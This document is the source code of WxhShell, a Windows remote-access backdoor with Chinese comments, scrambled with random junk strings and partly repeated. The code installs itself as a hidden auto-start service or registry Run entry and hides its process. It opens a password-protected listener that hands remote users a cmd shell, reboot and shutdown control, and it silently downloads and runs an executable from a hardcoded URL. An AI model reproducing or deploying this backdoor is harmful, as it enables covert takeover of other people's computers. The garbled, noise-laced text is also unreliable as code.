{tt$w>X if(NULL == hInst ) return 0; JEHK:1^ p\S8oHWe g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0Hcbkep9D g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p>p'.#M NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gpAHC s*JE) if (!NtQueryInformationProcess) return 0; K0<yvew kp`0erJqw hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3*WS"bt if(!hProcess) return 0; F]5\YYXO I:t^S., if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~zyQ(' RWikJ CloseHandle(hProcess); `d*b]2 ,!>fmU`E4 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6V;:+"BkJ if(hProcess==NULL) return 0; :6u~aT/ Mi74Xl i HMODULE hMod; QymD-A"P char procName[255]; O71BM@2< unsigned long cbNeeded; :qnokrGzB F=i!d,S if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J@`
8(\( DHzkRCM CloseHandle(hProcess); 7;xKy'B\ q\H7&w if(strstr(procName,"services")) return 1; // 以服务启动 1+^n!$ $L&BT 0 return 0; // 注册表启动 AbZ:(+@cP } XV5`QmB9 4oJ$dN // 主模块 U**)H_S/~ int StartWxhshell(LPSTR lpCmdLine) Nza; O[ { 0yTQ{'Cc SOCKET wsl; QUp?i
BOOL val=TRUE; *<kD"m int port=0; O+FBQiv struct sockaddr_in door; !!+Da> t/ eo] if(wscfg.ws_autoins) Install(); PYieD}' RbAt3k;y port=atoi(lpCmdLine); J wFned#T o? dR\cxj if(port<=0) port=wscfg.ws_port; ND*]gM BD'NuI WSADATA data; hbnS~sva if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >zR14VO`_| q{@P+2<wF if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; XnA6/^ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8.2`~'V door.sin_family = AF_INET; %EoH4LzT door.sin_addr.s_addr = inet_addr("127.0.0.1"); H),RA]S door.sin_port = htons(port); CJA+v- KZ3B~#oQ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F[`vH closesocket(wsl); W.$6pzB( return 1; ee<H@LeG } J@<!q [<Jp#&u6sb if(listen(wsl,2) == INVALID_SOCKET) { Nt,~b^9 closesocket(wsl); {F!v+W> return 1; u _X}-U } ^j iE9k) Wxhshell(wsl); 8t\}c6/3" WSACleanup(); !x_t`78T I>Y{>S return 0; I61%H9; ;^ov~PPl } >13/h]3 l0#4Fma // 以NT服务方式启动 Hf_'32e3< VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0etwz3NuW
{ nNs .,J) DWORD status = 0; [`9^QEj DWORD specificError = 0xfffffff; *;X-\6 `sxN!Jj? serviceStatus.dwServiceType = SERVICE_WIN32; pz @km serviceStatus.dwCurrentState = SERVICE_START_PENDING; 1M/$<
kQ-N serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tQ[]Rc serviceStatus.dwWin32ExitCode = 0; 6KB^w0oA serviceStatus.dwServiceSpecificExitCode = 0; [Q:f-<nH serviceStatus.dwCheckPoint = 0; to51hjV serviceStatus.dwWaitHint = 0; u
GIr&`S
ol#yjrv hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4Pf+]R if (hServiceStatusHandle==0) return; "ZqEP R) raF]
k0{ status = GetLastError(); @Wz%KdXA if (status!=NO_ERROR) jYk5~<\k { dq2@6xd serviceStatus.dwCurrentState = SERVICE_STOPPED; Z>h{`
X\2 serviceStatus.dwCheckPoint = 0; yDuq6`R* serviceStatus.dwWaitHint = 0; Pl?}>G serviceStatus.dwWin32ExitCode = status; vG3M5G serviceStatus.dwServiceSpecificExitCode = specificError; 952V@.Zp SetServiceStatus(hServiceStatusHandle, &serviceStatus); <
GU return; Of&"U/^ } ?V?<E=13 yF;?Hg serviceStatus.dwCurrentState = SERVICE_RUNNING; o"4E+1qwM serviceStatus.dwCheckPoint = 0; L}b'+Wi@ serviceStatus.dwWaitHint = 0; "?[7#d]) if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -U:2H7 } `/c@nxh I3An57YV]. // 处理NT服务事件,比如:启动、停止 5f{wJb2 VOID WINAPI NTServiceHandler(DWORD fdwControl) [x|)}P7%s { ~.H~XKw switch(fdwControl) S%{lJYwXt { n5\}KZh case SERVICE_CONTROL_STOP: W
W35&mI)k serviceStatus.dwWin32ExitCode = 0; F#KF6)P serviceStatus.dwCurrentState = SERVICE_STOPPED; [brkx3h serviceStatus.dwCheckPoint = 0; +9jivOmK serviceStatus.dwWaitHint = 0; ;da4\bppt { S!<"Swf: SetServiceStatus(hServiceStatusHandle, &serviceStatus); wO89&XZ< } )tCx5 9 return; ,A?{~?u. case SERVICE_CONTROL_PAUSE: B/rzh? b serviceStatus.dwCurrentState = SERVICE_PAUSED; b(1:w"wD break; ILNXaJ'0a case SERVICE_CONTROL_CONTINUE: IG&B2* serviceStatus.dwCurrentState = SERVICE_RUNNING; IOS^|2:, break; _C5n Apb case SERVICE_CONTROL_INTERROGATE: e]Puv)S>{8 break; x?gQ\0S< }; m'c#uU SetServiceStatus(hServiceStatusHandle, &serviceStatus); d#4 Wj0x } L@+Z)# V h*l
cEzG?A // 标准应用程序主函数 VH[l\I(h int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ys/vI/e\ { C,(j$Id 2zM-Ob<U` // 获取操作系统版本 i!tc OsIsNt=GetOsVer(); l*qk1H"g GetModuleFileName(NULL,ExeFile,MAX_PATH); w~p4S+k& sc9]sIb // 从命令行安装 OFp#<o,p if(strpbrk(lpCmdLine,"iI")) Install(); $8=(I2&TW \Me"'.F? // 下载执行文件 eA1'qww"' if(wscfg.ws_downexe) { q{[1fE"[K4 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HMhLTl{; WinExec(wscfg.ws_filenam,SW_HIDE); !@A|L#* } ps"9;4P Vl-D<M+ih if(!OsIsNt) { y&h~Oa?,; // 如果时win9x,隐藏进程并且设置为注册表启动 VYHOk3 HideProc(); ZrA
Um StartWxhshell(lpCmdLine); &D)Hz } DVbYShB else ^^7gDgT if(StartFromService()) n00z8B1j(l // 以服务方式启动 @f\
X4!e*y StartServiceCtrlDispatcher(DispatchTable); :bI,rEW#_ else " xlJs93c // 普通方式启动 M.X}K7Z_/ StartWxhshell(lpCmdLine); 9Il'E6
J =#jTo|~u4o return 0; [+_\z',u } } mgVC i:;$oT a!&bc8J7 ?~{rf:Y =========================================== I{Rz,D uAL 7bHE!#L`0 =%xIjxYl ta@ISRK wQ@Zwbx f]hBPkZ6 " 5VuCU B5D3_iX] #include <stdio.h> 9#ZzE/ #include <string.h> <. ezw4ju #include <windows.h> r!CA2iK` #include <winsock2.h> $tEdBnf^ca #include <winsvc.h> HhzkMJR8 #include <urlmon.h>
Ca$y819E2 t`h_+p%> #pragma comment (lib, "Ws2_32.lib") Hi$#!OU #pragma comment (lib, "urlmon.lib") `Yg7,{A\J gfV]^v #define MAX_USER 100 // 最大客户端连接数 )8 oEs #define BUF_SOCK 200 // sock buffer gh.w Li$+ #define KEY_BUFF 255 // 输入 buffer Q=^ktKMeR 9fCiLlI #define REBOOT 0 // 重启 >xklt"*U, #define SHUTDOWN 1 // 关机 suzFcLxo =CWc` #define DEF_PORT 5000 // 监听端口 bN]\K/ tWcizj;?wK #define REG_LEN 16 // 注册表键长度 ^
sS>Mts #define SVC_LEN 80 // NT服务名长度 w{RNv%hJ$= q/A/3/ // 从dll定义API "0!~g/X`rK typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dBsRm{aS typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *sjj"^'= typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nZ" {y typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E {I)LdAqK ~GAlNIv] // wxhshell配置信息 h<+PP]l= struct WSCFG { -7&^jP\, int ws_port; // 监听端口 ?T tQZ char ws_passstr[REG_LEN]; // 口令 dl7Riw-J int ws_autoins; // 安装标记, 1=yes 0=no pK-_R# char ws_regname[REG_LEN]; // 注册表键名 wgC??Be;ut char ws_svcname[REG_LEN]; // 服务名 lp IteZw: char ws_svcdisp[SVC_LEN]; // 服务显示名 )e@01l char ws_svcdesc[SVC_LEN]; // 服务描述信息 #FrwfJOV char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C3&17O6 int ws_downexe; // 下载执行标记, 1=yes 0=no "bv,I-\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x8\E~6`, char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d/"gq}NT R>Z,TQU }; +s#S{b aS c#&{ // default Wxhshell configuration A@9U;8k struct WSCFG wscfg={DEF_PORT, 6 ,7/8 "xuhuanlingzhe", ?j &V:kF 1, %i;r]z- "Wxhshell",
{JCSR2BB "Wxhshell", W@R$'r,@O "WxhShell Service", M!;`(_2 "Wrsky Windows CmdShell Service", W;xW:
- "Please Input Your Password: ", SSl8 1, "`gf y "http://www.wrsky.com/wxhshell.exe", )$2%&9b "Wxhshell.exe" ]#vvlM>/ }; :DS2zA R[mH35D/ // 消息定义模块 /vFxVBX char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $O;N/N:m char *msg_ws_prompt="\n\r? for help\n\r#>"; T%M1[<"Q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C:|q'"F char *msg_ws_ext="\n\rExit."; j1'xp`jgv char *msg_ws_end="\n\rQuit.";
z*??YUT\M char *msg_ws_boot="\n\rReboot..."; X
,V= od> char *msg_ws_poff="\n\rShutdown..."; GC5#1+fQ char *msg_ws_down="\n\rSave to "; jKY Aid{- L%c]%3A char *msg_ws_err="\n\rErr!"; 8:3oH!n char *msg_ws_ok="\n\rOK!"; Y yQf @lb=-oR!~ char ExeFile[MAX_PATH]; pgLzFY[' int nUser = 0; >S?C {_g HANDLE handles[MAX_USER]; PCV58n3 int OsIsNt; pfJVE 3Hb .ZLE# SERVICE_STATUS serviceStatus; pIU#c&%<9 SERVICE_STATUS_HANDLE hServiceStatusHandle; Zztt)/6* pq/FLYiv // 函数声明 Thht_3_C,f int Install(void); v*C+U$_3\1 int Uninstall(void); /-G qG)PX int DownloadFile(char *sURL, SOCKET wsh); !`O_VV`/@ int Boot(int flag); G#9o? void HideProc(void); }J'5EAp int GetOsVer(void); a<a&63 int Wxhshell(SOCKET wsl); E.7AbHph0 void TalkWithClient(void *cs); r{Qs9 int CmdShell(SOCKET sock); Mipm&5R int StartFromService(void); U5@TaGbx int StartWxhshell(LPSTR lpCmdLine); Ee$"O6*! $ ufSNx(F VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9H
!B) VOID WINAPI NTServiceHandler( DWORD fdwControl ); dw{#|| d[P>jl%7 // 数据结构和表定义 n)1 SERVICE_TABLE_ENTRY DispatchTable[] = <{-(\>f!9 { cpr{b8Xb8& {wscfg.ws_svcname, NTServiceMain}, tF;& x
g {NULL, NULL} ,oB k> }; 6N)<
o ;U aPY>fy^8D // 自我安装 82Z[eo int Install(void) s= GOB"G { V1CSXY\2 char svExeFile[MAX_PATH]; M<M#<kD HKEY key; A
.jp<> strcpy(svExeFile,ExeFile); \gJapx( Hb@G*L$ // 如果是win9x系统,修改注册表设为自启动 7(+OsE if(!OsIsNt) { M'>D[5;N~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -Fok%iQ'5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Je4.9?Ch RegCloseKey(key); 0$F _hZU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P"~qio- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z+`{JE# RegCloseKey(key); \KnD"0KW return 0; gn[$;*932z } n_xa) } <De3mZb } 2=!3[>
B else { 0c\|S>g[ !mErt2UJl // 如果是NT以上系统,安装为系统服务 YjIED,eRv SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :yO, if (schSCManager!=0) `1[Sv" { sJHy=z0m SC_HANDLE schService = CreateService wk@(CKQzI, ( H[_uVv;}6 schSCManager, kj<D 4) wscfg.ws_svcname, iEJQ#5))0 wscfg.ws_svcdisp, Ei?9M^w SERVICE_ALL_ACCESS, ^]sMy7X0IK SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , esC\R4he SERVICE_AUTO_START, 23u1nU[0 SERVICE_ERROR_NORMAL, jt10gVC svExeFile, _'v }=:X NULL, 13>3R+o NULL, e2Kpx8kWj NULL, (&Tb,H)= NULL, x9o^9QJh NULL xJH9qc ME ); -Y jv&5 if (schService!=0) 0@mX4.! { l~Wk07r3 CloseServiceHandle(schService); GHgEbiY: CloseServiceHandle(schSCManager); Y9co?!J 5M strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y=WN4w strcat(svExeFile,wscfg.ws_svcname); qY~$wVY( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hO<w]jV, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ixJ20A7 RegCloseKey(key); +v[$lh+ return 0; Oz9Mqcx } Y4~wNs6 } !>kv.`|7~ CloseServiceHandle(schSCManager); Zh~Lm } zQ6
-2 A } Y5A~iGp8E VqO<+~M,E return 1; A*26' } +VpE-X=T @IyH(J],h // 自我卸载 }^Ua int Uninstall(void) <{z3p:\ { 6t mNfI34 HKEY key; _F/lY\vm v YmtpKNj% if(!OsIsNt) { aa YQ< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8yo6v3JqC RegDeleteValue(key,wscfg.ws_regname); +q_lYGTiO RegCloseKey(key); A@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WJh;p: q[ RegDeleteValue(key,wscfg.ws_regname); Ag-?6v RegCloseKey(key); cmGj0YUQ1 return 0; ga1gd~a } M?4r 5R } j+B5m:ExfI } 6quWO2x else { D@b<}J>0' T~~$=vP9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
xV 1Z&l if (schSCManager!=0) )Fr;'JYC1S { ^B6i6]Pd=9 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \|>`z,; if (schService!=0) a^}P_hg}- { J0*]6oD! if(DeleteService(schService)!=0) { Nec(^|[ CloseServiceHandle(schService); :_YG/0%I CloseServiceHandle(schSCManager); a$ ! {Tob2 return 0; % x*Ec[l
} 3ws(uF9$ CloseServiceHandle(schService); wyA(}iSq } ~G^}2#5 CloseServiceHandle(schSCManager); QB|fFj58u } .lF\b A| } =wR]X*Pan 'hi\98y return 1; :iNAXy }
ZYD88kQ \gzwsT2& // 从指定url下载文件 Rd1ku= int DownloadFile(char *sURL, SOCKET wsh) hy&Hl { z9kX`M+ HRESULT hr; wrb& ta char seps[]= "/"; (yTz^o$t| char *token; c+i`Zd.m< char *file; cxJK>%84 char myURL[MAX_PATH]; I/b8 char myFILE[MAX_PATH]; $\@ V4 ,t&-`U]AX strcpy(myURL,sURL); ~md|k token=strtok(myURL,seps); ^FMa8;'o while(token!=NULL) .rB;zA;4S) { n
ua8y(W file=token; I~]mX; token=strtok(NULL,seps); MbF e1U]B } _NqT8C4C *_K-T# GetCurrentDirectory(MAX_PATH,myFILE); GuY5 %wr strcat(myFILE, "\\"); <w2NJ~M^ strcat(myFILE, file); 6.7Kp send(wsh,myFILE,strlen(myFILE),0); |{LaZXU & send(wsh,"...",3,0); XM@i|AK
M0 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P$
dgO if(hr==S_OK) Z
*<x return 0; [
EID27P else H!>oLui return 1; .&} 4 95 .'t} } pfQZ|*>lkb *|#JFy?c[ // 系统电源模块 tc2GI6]e' int Boot(int flag) tP(bRQ> { ee0>B86tE HANDLE hToken; 'U{:
zBh TOKEN_PRIVILEGES tkp; 3jeV4| v4##(~Tu if(OsIsNt) { n_&)VF#n( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %s : LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ow$l!8 tkp.PrivilegeCount = 1; ;AB ,:* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rJQ|Oi&1i AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K/d&c] if(flag==REBOOT) { ^W[`##,{Od if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4-rI4A< return 0; <H@!Xw; } E1ob+h:`d else { '*;eFnmvs: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |{IU<o
x return 0; 14YV#o: } -x\l<\* } [*ovYpj^ else { V//q$/&8( if(flag==REBOOT) { j~f 7WJ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `"mK\M return 0; %c/"A8{ eb } :O+b4R+ else { rkc%S5we if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 54cgX)E[x return 0; sH,)e'0 } {ZEXlNPww } Dlf=N$BL7d 5
^J8<s@_ return 1; ZV4'
|q } 2OlC7X{ {!Z_&i5 // win9x进程隐藏模块 K}3"K C void HideProc(void) '"\Mjz)/ { xWb?i6)z& ;~$ $WU HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7:q-NzE\6 if ( hKernel != NULL ) Or)c*.|\ { n]c,0N pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Wc;D{p?Lb ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9,> Y FreeLibrary(hKernel); 2co{9LM } Y '*h_K (wF$"c3'{ return; U9sub6w 6 } '?GZ"C2 @5V Z // 获取操作系统版本 uOqDJM'RM int GetOsVer(void) vS__*}^ { |F{E4mg(o OSVERSIONINFO winfo; rPvX8*)tV winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,;pX.Ob U GetVersionEx(&winfo); _H<OfAO if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'wV26Dm return 1; ?o5#Ve$-X else Awf=yE: return 0; FGhrf } 0M2+?aKif ]!o,S{a& // 客户端句柄模块 5<?$/H|7T int Wxhshell(SOCKET wsl) b=\3N3OX { n7.lF SOCKET wsh; NfN6KDd]2L struct sockaddr_in client; i j;'4GzQL DWORD myID; z( [ $,e\ l8us6 while(nUser<MAX_USER) EoWzHa { k r^#B^ int nSize=sizeof(client); n8aiGnd=v
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "dOY_@kg if(wsh==INVALID_SOCKET) return 1; S9+gVR8]C Dq4}VkY handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J&1N8Wk) if(handles[nUser]==0) xi=uXxl closesocket(wsh); _'dy$.g else "fd=(&
M*l nUser++; ui0(#2'h% } @5GP;3T WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t1s@Ub5);I %t.IxMY return 0; 6.=1k } vGp@YABM tzJtd // 关闭 socket =H?5fT^
void CloseIt(SOCKET wsh) oD1=} { lfd{O7 L0b closesocket(wsh); Ap18qp nUser--; [/j-d ExitThread(0); GQxJ (f } 0Hf-~6 481u1 // 客户端请求句柄 NZ9,9 void TalkWithClient(void *cs) k
rjd:*E { baG I(Dk '-TFr NO;h SOCKET wsh=(SOCKET)cs; o|E(_Y4d char pwd[SVC_LEN]; Kx!|4ya, char cmd[KEY_BUFF]; scwlW
b<N char chr[1]; s_kd@?=`x int i,j; !gQ(1u|r hmk5
1 while (nUser < MAX_USER) { |<icx8hbr vtjG&0GSK if(wscfg.ws_passstr) { ,kuOaaV7K if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (XWs4R.mkb //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (I
g
*iJ%2 //ZeroMemory(pwd,KEY_BUFF); 1&nrZG9 i=0; * OFT)S while(i<SVC_LEN) { m':m`,c! -8e tH& // 设置超时 hV>Ey^Ty fd_set FdRead; ^E*C~;^S struct timeval TimeOut; )A;<'{t #L FD_ZERO(&FdRead); f89<o#bm7h FD_SET(wsh,&FdRead); oD`BX TimeOut.tv_sec=8; Yy 1Pipv TimeOut.tv_usec=0; ||NCVGJG int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C.p*mO&N if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w=2X[V} Hb4rpAeP if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (b!DJ;(O9 pwd=chr[0]; ePdzQsnVe if(chr[0]==0xd || chr[0]==0xa) { k Er7,c pwd=0; :D-vE7 break; 4}j}8y2)H } 5@5="lNjS i++; N`fY%"5U> } Fd'L:A~ X/"H+l // 如果是非法用户,关闭 socket W0hLh<Go if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cH ?]uu( } )~ kb7rfl qIp`'.#m send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EB,>k1IJ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yb*}2 Xu0*sQK while(1) { #y%Ao\~kG vS<e/e+ ZeroMemory(cmd,KEY_BUFF); x$sQ .aT w"J(sVy4 // 自动支持客户端 telnet标准 ' 'N@ <| j=0; ~o$=(EC while(j<KEY_BUFF) { Kz;VAH if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c8MNo'h cmd[j]=chr[0]; G&-h,"yo^ if(chr[0]==0xa || chr[0]==0xd) { Stpho4+/y cmd[j]=0; huE#VY
/t break; q~lW } <u\G&cd_tA j++; .=S{ } )vzT\dQ| :=@[FXD4 // 下载文件 FT6cOMu if(strstr(cmd,"http://")) { V;=T~K|)> send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5E8PbV-l if(DownloadFile(cmd,wsh)) zwS'AN'A send(wsh,msg_ws_err,strlen(msg_ws_err),0); __ [q` else M"V@>E\L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &gfQZxT } 8*ysuL# else { xPv&(XZR h&{pMmS3, switch(cmd[0]) { W`
V w,7
GC5j\ // 帮助 V{r@D!} case '?': { A{vG@Pwc: send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `,O^=HBM break; xM,3F jF } s zg1.& // 安装 rO~D{)Nu case 'i': { WUWQcJj if(Install()) FtXEudk send(wsh,msg_ws_err,strlen(msg_ws_err),0); t Ks0]8tc else HT'dft # send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O<*iDd`(e break; (;h\)B!o } <LE>WfmC // 卸载 =9M-N?cV case 'r': { *V/SI E*8 if(Uninstall()) f$L5=V send(wsh,msg_ws_err,strlen(msg_ws_err),0); sAxn
;
` else LO229`ARr| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =}[V69a break; tg:x}n } V/Tp&+Z.c // 显示 wxhshell 所在路径
WJ@,f%=<~ case 'p': { 1<F/boF~ char svExeFile[MAX_PATH]; q0<g#jK strcpy(svExeFile,"\n\r"); C~B^sG@; strcat(svExeFile,ExeFile); Y!H"LI send(wsh,svExeFile,strlen(svExeFile),0); 11uqs
S2 break; wU3Q } 0=04:.%D // 重启 =
~yh[@R) case 'b': { f &H`h send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G7yxCU(I\ if(Boot(REBOOT)) L2N/DB'{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); TBpW/wz/ else { J_,y?}.e3 closesocket(wsh); Jad'8}0J ExitThread(0); !O\r[c } '*pq@|q;t break; {`: != } `` ={FaV~m // 关机 laAG%lq/' case 'd': { )}R0'QGd send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6Yklaq5 if(Boot(SHUTDOWN)) C1_NGOvT send(wsh,msg_ws_err,strlen(msg_ws_err),0); {974m` 5 else { ~ rRIWfhb closesocket(wsh); q+z,{K ExitThread(0); #Rs7Ieu+ } OG.`\G| break; s=q}XIWK } +um;
eL7 // 获取shell 82$^pg> case 's': { *{ .u\BL5 CmdShell(wsh); :Q%&:[2 closesocket(wsh); I|:*Dy,~ ExitThread(0); e='3gzz break; #2}S83
k } ,}NG@JID // 退出 k;%}%"EVZ case 'x': { q+N}AKawB send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =zsXa=< CloseIt(wsh); Ws=J)2q break; Z/64E^ } P~~RK&+i // 离开 |(w x6H: case 'q': { k&Sg`'LG8 send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'h:4 Fzo< closesocket(wsh); Dv$xP)./ WSACleanup(); .EI/0"^ exit(1); J%nJO3, break; X/@Gx 4 } pgI@[zp7 } ;m\E9ple } NY_Oo!)3 {r Gx*<e // 提示信息 !a0HF p$9 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U_w)*)F } ': HV9]k } mCg 5-E~; $XJe) return; |/q *Fg[f } j@9A!5<CCk IqmavnM# // shell模块句柄 YyI|^f8C int CmdShell(SOCKET sock) BKN]DxJ6 { ;Eck7nRA) STARTUPINFO si; t]Vw`z%G ZeroMemory(&si,sizeof(si));
62.{8Uj si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7m1*Q@D si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m'%F,c) PROCESS_INFORMATION ProcessInfo; ;R/=9l char cmdline[]="cmd"; nuvz!<5\{ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); py)V7*CgH return 0; A M# '(k( } ZM<1;!i _wm"v19 // 自身启动模式 ak<?Eu9rV int StartFromService(void) KBXdr5 2" {
!Qn:PSk typedef struct Xc'yz 2B { Q}G DWORD ExitStatus; b+hZ<U/ DWORD PebBaseAddress; :V`q;g DWORD AffinityMask; w^dB1Y7c(W DWORD BasePriority; o8bVz2E ULONG UniqueProcessId; wZ29/{, ULONG InheritedFromUniqueProcessId; )\t#e`3 } PROCESS_BASIC_INFORMATION; .Yo#vV .NZ_dz$c PROCNTQSIP NtQueryInformationProcess; W(EU*~<UC <>p\9rVp*^ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $.v5G>-)3 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GK:*|jV d!,V"*S HANDLE hProcess; l'c|I
&Y] PROCESS_BASIC_INFORMATION pbi; V<+d o|@F ([s2F%S`@ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^M8\ 3G if(NULL == hInst ) return 0; Jzh_`jW0l 89~) nV) g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?9/%K45 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1#XMUbFc NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )KkA<O}f DLf6D |" if (!NtQueryInformationProcess) return 0; [S'ngQ"f` g(|p/%H hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .{~ygHQ`f if(!hProcess) return 0; @eR>?.:& 7(ZI]< if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N9_9{M{ DOf[? vbu CloseHandle(hProcess); !Il<'+ ^ $7,n8ddRy hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;p)gTQa if(hProcess==NULL) return 0; `[[
A7 pM.>u/=X HMODULE hMod; pl'n
